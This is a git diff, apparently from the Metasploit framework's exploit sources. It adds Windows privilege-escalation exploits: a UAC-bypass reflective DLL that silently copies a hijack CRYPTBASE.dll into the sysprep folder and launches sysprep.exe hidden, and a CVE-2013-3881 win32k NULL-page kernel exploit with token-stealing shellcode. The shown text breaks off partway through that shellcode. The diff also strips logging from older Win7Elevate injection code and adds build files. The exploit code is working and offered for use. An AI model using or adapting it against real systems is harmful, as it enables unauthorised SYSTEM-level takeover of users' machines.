//MessageBox(hWnd, L"Remote allocation failed", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"Remote allocation failed"); - } - else + if (!(reme.AnyFailures())) { HANDLE hRemoteThread = CreateRemoteThread(hTargetProc, NULL, 0, reinterpret_cast< LPTHREAD_START_ROUTINE >( pRemoteFunc ), pRemoteArgs, 0, NULL); - if (hRemoteThread == 0) - { - //MessageBox(hWnd, L"Couldn't create remote thread", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine( - CError::Format( - GetLastError(), - L"Couldn't create remote thread", - L"CreateRemoteThread")); - - } - else + if (hRemoteThread != 0) { if ( Redirector ) Redirector(); @@ -415,7 +395,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d //else if (IDCANCEL == MessageBox(hWnd, L"Continue waiting for remote thread to complete?", L"Win7Elevate", MB_OKCANCEL | MB_ICONQUESTION)) else { - CLogger::LogLine(L"Continue waiting for remote thread to complete? : NO"); // See if it completed before the user asked to stop waiting. // Code that wasn't just a proof-of-concept would use a worker thread that could cancel the wait UI. if (WAIT_OBJECT_0 == WaitForSingleObject(hRemoteThread, 0)) @@ -442,14 +421,4 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d FreeLibrary(hModKernel32); - if (bThreadWaitFailure) - { - //MessageBox(hWnd, L"Error waiting on the remote thread to complete", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"Error waiting on the remote thread to complete"); - } - else if (bThreadWaitSuccess) - { - //MessageBox(hWnd, L"Remote thread completed", L"Win7Elevate", MB_OK | MB_ICONINFORMATION); - CLogger::LogLine(L"Remote thread completed"); - } } diff --git a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Utils.cpp b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Utils.cpp old mode 100644 new mode 100755 index 8b8e669843..737602094a --- a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Utils.cpp +++ b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Utils.cpp @@ -33,7 +33,6 @@ bool W7EUtils::GetProcessList(HWND hWnd, std::map< DWORD, std::wstring > &mapPro if (hSnapshot == INVALID_HANDLE_VALUE) { //MessageBox(hWnd, L"CreateToolhelp32Snapshot failed", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"CreateToolhelp32Snapshot failed"); } else { @@ -61,17 +60,7 @@ bool W7EUtils::GetProcessList(HWND hWnd, std::map< DWORD, std::wstring > &mapPro { DWORD dwErr = GetLastError(); - if (ERROR_NO_MORE_FILES != dwErr) - { - //MessageBox(hWnd, L"Process32Next/First failed", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"Process32Next/First failed"); - } - else if (mapProcs.empty()) - { - //MessageBox(hWnd, L"Process32Next/First returned nothing", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"Process32Next/First returned nothing"); - } - else + if ((ERROR_NO_MORE_FILES == dwErr) && !(mapProcs.empty())) { bResult = true; } @@ -107,7 +96,6 @@ bool W7EUtils::OpenProcessToInject(HWND hWnd, HANDLE *pOutProcHandle, DWORD dwPi if (szProcName == NULL) { //MessageBox(hWnd, L"No process name passed in", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"No process name passed in"); return false; } @@ -140,7 +128,7 @@ bool W7EUtils::OpenProcessToInject(HWND hWnd, HANDLE *pOutProcHandle, DWORD dwPi } //MessageBox(hWnd, strMsg.c_str(), L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(strMsg); + return false; } diff --git a/external/source/exploits/bypassuac/Win7ElevateDll/Win7ElevateDll.vcxproj b/external/source/exploits/bypassuac/Win7ElevateDll/Win7ElevateDll.vcxproj index 25fbbef26c..e72a94e333 100644 --- a/external/source/exploits/bypassuac/Win7ElevateDll/Win7ElevateDll.vcxproj +++ b/external/source/exploits/bypassuac/Win7ElevateDll/Win7ElevateDll.vcxproj @@ -1,5 +1,5 @@  - + Debug @@ -28,23 +28,27 @@ DynamicLibrary true Unicode + v120 DynamicLibrary true Unicode + v120 DynamicLibrary false - true + false Unicode + v120 DynamicLibrary false - true + false Unicode + v120 @@ -64,25 +68,30 @@ true - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)32 + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + $(Configuration)\$(Platform)\ true - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)64 + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + $(Configuration)\$(Platform)\ false - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)32 + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) false + $(Configuration)\$(Platform)\ false - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)64 + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) false + $(Configuration)\$(Platform)\ + AllRules.ruleset @@ -90,11 +99,16 @@ Level3 Disabled WIN32;_DEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions) + Size + false Windows true + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL + @@ -102,11 +116,16 @@ Level3 Disabled WIN32;_DEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions) + Size + false Windows true + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.2 "$(TargetDir)$(TargetFileName)" > NUL + @@ -117,6 +136,7 @@ true WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions) MultiThreaded + Size Windows @@ -124,6 +144,9 @@ true true + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL + @@ -134,6 +157,7 @@ true WIN64;_WIN64;NDEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions) MultiThreaded + Size Windows @@ -145,6 +169,9 @@ + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.2 "$(TargetDir)$(TargetFileName)" > NUL + diff --git a/external/source/exploits/bypassuac/Win7ElevateDll/dllmain.cpp b/external/source/exploits/bypassuac/Win7ElevateDll/dllmain.cpp old mode 100644 new mode 100755 index f064b8b4e6..21648f103f --- a/external/source/exploits/bypassuac/Win7ElevateDll/dllmain.cpp +++ b/external/source/exploits/bypassuac/Win7ElevateDll/dllmain.cpp @@ -17,7 +17,6 @@ BOOL APIENTRY DllMain( HMODULE hModule, // Wee need to hide fact that we've started process thats why we immediately // Terminate host application. // - CLogger::LogLine(TEXT("DLL: Hello")); switch (ul_reason_for_call) { @@ -33,8 +32,6 @@ BOOL APIENTRY DllMain( HMODULE hModule, startupInfo.cb = sizeof(startupInfo); PROCESS_INFORMATION processInfo = {0}; - CLogger::LogLine(TEXT("DLL: TIOR shell=")); - CLogger::LogLine(cmd); // // Create not visible window diff --git a/external/source/exploits/bypassuac/make.msbuild b/external/source/exploits/bypassuac/make.msbuild new file mode 100755 index 0000000000..53493e1385 --- /dev/null +++ b/external/source/exploits/bypassuac/make.msbuild @@ -0,0 +1,19 @@ + + + + .\Win7Elevate.sln + + + + + + + + + + + + + + + diff --git a/external/source/exploits/bypassuac/x64/.keep b/external/source/exploits/bypassuac/x64/.keep deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/external/source/exploits/bypassuac_injection/.gitignore b/external/source/exploits/bypassuac_injection/.gitignore new file mode 100644 index 0000000000..cfd9ebaa06 --- /dev/null +++ b/external/source/exploits/bypassuac_injection/.gitignore @@ -0,0 +1,151 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.sln.docstates + +# Build results + +[Dd]ebug/ +[Rr]elease/ +x64/ +build/ +[Bb]in/ +[Oo]bj/ + +# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets +!packages/*/build/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +*_i.c +*_p.c +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.log +*.scc + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +*.ncrunch* +.*crunch*.local.xml + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.Publish.xml +*.pubxml + +# NuGet Packages Directory +## TODO: If you have NuGet Package Restore enabled, uncomment the next line +#packages/ + +# Windows Azure Build Output +csx +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Others +sql/ +*.Cache +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.[Pp]ublish.xml +*.pfx +*.publishsettings + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file to a newer +# Visual Studio version. Backup files are not needed, because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +App_Data/*.mdf +App_Data/*.ldf + +# ========================= +# Windows detritus +# ========================= + +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Mac crap +.DS_Store \ No newline at end of file diff --git a/external/source/exploits/bypassuac_injection/bypassuac_injection.sln b/external/source/exploits/bypassuac_injection/bypassuac_injection.sln new file mode 100755 index 0000000000..f37920bc8f --- /dev/null +++ b/external/source/exploits/bypassuac_injection/bypassuac_injection.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "bypassuac", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj b/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj new file mode 100644 index 0000000000..0695003480 --- /dev/null +++ b/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj @@ -0,0 +1,204 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949} + reflective_dll + Win32Proj + bypassuac + + + + DynamicLibrary + v120 + MultiByte + false + + + DynamicLibrary + v120 + Unicode + + + DynamicLibrary + MultiByte + false + v120 + + + DynamicLibrary + v120 + Unicode + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>11.0.50727.1 + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + true + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + true + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + $(ProjectName)-x86 + $(VCInstallDir)include;$(VCInstallDir)atlmfc\include;$(WindowsSDK_IncludePath);..\..\..\ReflectiveDLLInjection\common\;..\..\..\ReflectiveDLLInjection\dll\src\ + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + $(ProjectName)-x64 + $(VCInstallDir)include;$(VCInstallDir)atlmfc\include;$(WindowsSDK_IncludePath);..\..\..\ReflectiveDLLInjection\common\;..\..\..\ReflectiveDLLInjection\dll\src\; + + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + EditAndContinue + + + true + Windows + MachineX86 + + + + + X64 + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + ProgramDatabase + + + true + Windows + MachineX64 + + + + + MaxSpeed + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + + + true + Windows + true + true + MachineX86 + + + +IF EXIST "..\..\..\..\..\data\post\" GOTO COPY + mkdir "..\..\..\..\..\data\post\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\" + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + true + Size + false + WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsCpp + + + $(OutDir)$(TargetName)$(TargetExt) + true + Windows + true + true + MachineX64 + + + +IF EXIST "..\..\..\..\..\data\post\" GOTO COPY + mkdir "..\..\..\..\..\data\post\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\" + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp b/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp new file mode 100644 index 0000000000..4f0ba9b113 --- /dev/null +++ b/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp @@ -0,0 +1,119 @@ +#include "Exploit.h" + +void exploit() +{ + + const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\"; + const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\"; + const wchar_t *sySysPrepExe = L"sysprep.exe"; + const wchar_t *szElevDll = L"CRYPTBASE.dll"; + const wchar_t *szSourceDll = L"CRYPTBASE.dll"; + wchar_t szElevDir[MAX_PATH] = {}; + wchar_t szElevDir_syswow64[MAX_PATH] = {}; + wchar_t szElevDllFull[MAX_PATH] = {}; + wchar_t szElevDllFull_syswow64[MAX_PATH] = {}; + wchar_t szElevExeFull[MAX_PATH] = {}; + wchar_t path[MAX_PATH] = {}; + wchar_t windir[MAX_PATH] = {}; + const wchar_t *szElevArgs = L""; + const wchar_t *szEIFOMoniker = NULL; + PVOID OldValue = NULL; + + IFileOperation *pFileOp = NULL; + IShellItem *pSHISource = 0; + IShellItem *pSHIDestination = 0; + IShellItem *pSHIDelete = 0; + + const IID *pIID_EIFO = &__uuidof(IFileOperation); + const IID *pIID_EIFOClass = &__uuidof(FileOperation); + const IID *pIID_ShellItem2 = &__uuidof(IShellItem2); + + GetWindowsDirectoryW(windir, MAX_PATH); + GetTempPathW(MAX_PATH, path); + + /* %temp%\cryptbase.dll */ + wcscat_s(path, MAX_PATH, szSourceDll); + + /* %windir%\System32\sysprep\ */ + wcscat_s(szElevDir, MAX_PATH, windir); + wcscat_s(szElevDir, MAX_PATH, szSysPrepDir); + + /* %windir%\sysnative\sysprep\ */ + wcscat_s(szElevDir_syswow64, MAX_PATH, windir); + wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64); + + /* %windir\system32\sysprep\cryptbase.dll */ + wcscat_s(szElevDllFull, MAX_PATH, szElevDir); + wcscat_s(szElevDllFull, MAX_PATH, szElevDll); + + /* %windir\sysnative\sysprep\cryptbase.dll */ + wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64); + wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll); + + /* %windir%\system32\sysprep\sysprep.exe */ + wcscat_s(szElevExeFull, MAX_PATH, szElevDir); + wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe); + + if (CoInitialize(NULL) == S_OK) + { + if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK) + { + if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK) + { + if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK) + { + if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK) + { + if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK) + { + /* Copy the DLL file to the sysprep folder*/ + if (pFileOp->PerformOperations() == S_OK) + { + /* Execute sysprep.exe */ + SHELLEXECUTEINFOW shinfo; + ZeroMemory(&shinfo, sizeof(shinfo)); + shinfo.cbSize = sizeof(shinfo); + shinfo.fMask = SEE_MASK_NOCLOSEPROCESS; + shinfo.lpFile = szElevExeFull; + shinfo.lpParameters = szElevArgs; + shinfo.lpDirectory = szElevDir; + shinfo.nShow = SW_HIDE; + + Wow64DisableWow64FsRedirection(&OldValue); + if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL) + { + WaitForSingleObject(shinfo.hProcess, 10000); + CloseHandle(shinfo.hProcess); + } + + if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)) + { + if (0 != pSHIDelete) + { + if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL)) + { + pFileOp->PerformOperations(); + // If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path + // DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see: + // http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx + if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)) + { + if (0 != pSHIDelete) + { + if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL)) + { + pFileOp->PerformOperations(); + } + } + } + } + } + } + } + } + } + } + } + } + } +} diff --git a/external/source/exploits/bypassuac_injection/dll/src/Exploit.h b/external/source/exploits/bypassuac_injection/dll/src/Exploit.h new file mode 100644 index 0000000000..cce02e5bff --- /dev/null +++ b/external/source/exploits/bypassuac_injection/dll/src/Exploit.h @@ -0,0 +1,8 @@ +#include +#include +#include +#include +#include +#include + +EXTERN_C void exploit(); diff --git a/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c b/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c new file mode 100644 index 0000000000..83b0c9fddb --- /dev/null +++ b/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c @@ -0,0 +1,26 @@ +#include "ReflectiveLoader.h" +#include "Exploit.h" + +extern HINSTANCE hAppInstance; + +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + exploit(); + ExitProcess(0); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} diff --git a/external/source/exploits/bypassuac_injection/make.bat b/external/source/exploits/bypassuac_injection/make.bat new file mode 100644 index 0000000000..542886940b --- /dev/null +++ b/external/source/exploits/bypassuac_injection/make.bat @@ -0,0 +1,38 @@ +@ECHO OFF +IF "%VCINSTALLDIR%" == "" GOTO NEED_VS + +IF "%1"=="x86" GOTO BUILD_X86 +IF "%1"=="X86" GOTO BUILD_X86 +IF "%1"=="x64" GOTO BUILD_X64 +IF "%1"=="X64" GOTO BUILD_X64 + +ECHO "Building Exploits x64 and x86 (Release)" +SET PLAT=all +GOTO RUN + +:BUILD_X86 +ECHO "Building Exploits x86 (Release)" +SET PLAT=x86 +GOTO RUN + +:BUILD_X64 +ECHO "Building Exploits x64 (Release)" +SET PLAT=x64 +GOTO RUN + +:RUN +ECHO "Building Bypass UAC Injection" +msbuild.exe make.msbuild /target:%PLAT% + + +FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j +SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6% +echo Finished %ldt% + +GOTO :END + +:NEED_VS +ECHO "This command must be executed from within a Visual Studio Command prompt." +ECHO "This can be found under Microsoft Visual Studio 2013 -> Visual Studio Tools" + +:END diff --git a/external/source/exploits/bypassuac_injection/make.msbuild b/external/source/exploits/bypassuac_injection/make.msbuild new file mode 100644 index 0000000000..9adb309502 --- /dev/null +++ b/external/source/exploits/bypassuac_injection/make.msbuild @@ -0,0 +1,19 @@ + + + + .\bypassuac_injection.sln + + + + + + + + + + + + + + + diff --git a/external/source/exploits/cve-2013-3881/.gitignore b/external/source/exploits/cve-2013-3881/.gitignore new file mode 100644 index 0000000000..7649d7f46b --- /dev/null +++ b/external/source/exploits/cve-2013-3881/.gitignore @@ -0,0 +1,151 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.sln.docstates + +# Build results + +[Dd]ebug/ +[Rr]elease/ +x64/ +build/ +[Bb]in/ +[Oo]bj/ + +# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets +!packages/*/build/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +*_i.c +*_p.c +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.log +*.scc + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +*.ncrunch* +.*crunch*.local.xml + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.Publish.xml +*.pubxml + +# NuGet Packages Directory +## TODO: If you have NuGet Package Restore enabled, uncomment the next line +#packages/ + +# Windows Azure Build Output +csx +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Others +sql/ +*.Cache +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.[Pp]ublish.xml +*.pfx +*.publishsettings + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file to a newer +# Visual Studio version. Backup files are not needed, because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +App_Data/*.mdf +App_Data/*.ldf + +# ========================= +# Windows detritus +# ========================= + +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Mac crap +.DS_Store diff --git a/external/source/exploits/cve-2013-3881/cve-2013-3881.sln b/external/source/exploits/cve-2013-3881/cve-2013-3881.sln new file mode 100755 index 0000000000..8887a82024 --- /dev/null +++ b/external/source/exploits/cve-2013-3881/cve-2013-3881.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2013-3881", "cve-2013-3881\cve-2013-3881.vcxproj", "{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.ActiveCfg = Debug|Win32 + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.Build.0 = Debug|Win32 + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.ActiveCfg = Release|Win32 + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c new file mode 100755 index 0000000000..9389277e09 --- /dev/null +++ b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c @@ -0,0 +1,261 @@ +/* + * Exploit Title: CVE-2013-3881 Win32k NULL Page Vulnerability + * Date: February 5, 2014 + * Vulnerability Discovery: Seth Gibson and Dan Zentner of Endgame + * Exploit Author: Spencer McIntyre + * Version: Windows 7 SP0/SP1 + * Tested on: Windows 7 SP0/SP1 + * CVE-2013-3881 MS13-081 + * References: + * http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html + * http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html + * http://picturoku.blogspot.com/2011/12/bit-away-from-kernel-execution.html + */ + +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" + +// Purloined from ntstatus.h +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth + +#define WIN32_NO_STATUS +#include +#undef WIN32_NO_STATUS + +#ifndef _NTDEF_ +typedef __success(return >= 0) LONG NTSTATUS; +typedef NTSTATUS *PNTSTATUS; +#endif + +#define TABLE_BASE 0xff910000 + +static const char* window_class_name = "PWN_CLASS"; +static HWND window0 = NULL; +static HWND window1 = NULL; +static HDESK desktop = NULL; + +const unsigned char shellcode[] = + "\x33\xc0" // xor eax, eax + "\x64\x8b\x80\x24\x01\x00\x00" // mov eax, fs:[eax+0x124] + "\x8b\x40\x50" // mov eax, ds:[eax+0x50] + "\x8b\xc8" // mov ecx, eax + /* LOOPTHROUGHPROCESSES */ + "\x8b\x80\xb8\x00\x00\x00" // mov eax, ds:[eax+0xb8] + "\x2d\xb8\x00\x00\x00" // sub eax, 0xb8 + "\x83\xb8\xb4\x00\x00\x00\x04" // cmp DWORD PTR ds:[eax+0xb4], 4 + "\x75\xec" // jnz short LOOPTHROUGHPROCESSES + "\x8b\x90\xf8\x00\x00\x00" // mov edx, ds:[eax+0x0f8] + "\x89\x91\xf8\x00\x00\x00" // mov [ecx+0x0f8], edx + /* Epilog Part 1: Uncorrupt HANDLEENTRY */ + "\xbe\x00\x08\x00\x00" // mov esi, 0x0800 + "\x8b\x3e" // mov edi, [esi] + "\x8b\x46\x04" // mov eax, [esi+4] + "\x89\x07" // mov [edi], eax + "\x8b\x46\x08" // mov eax, 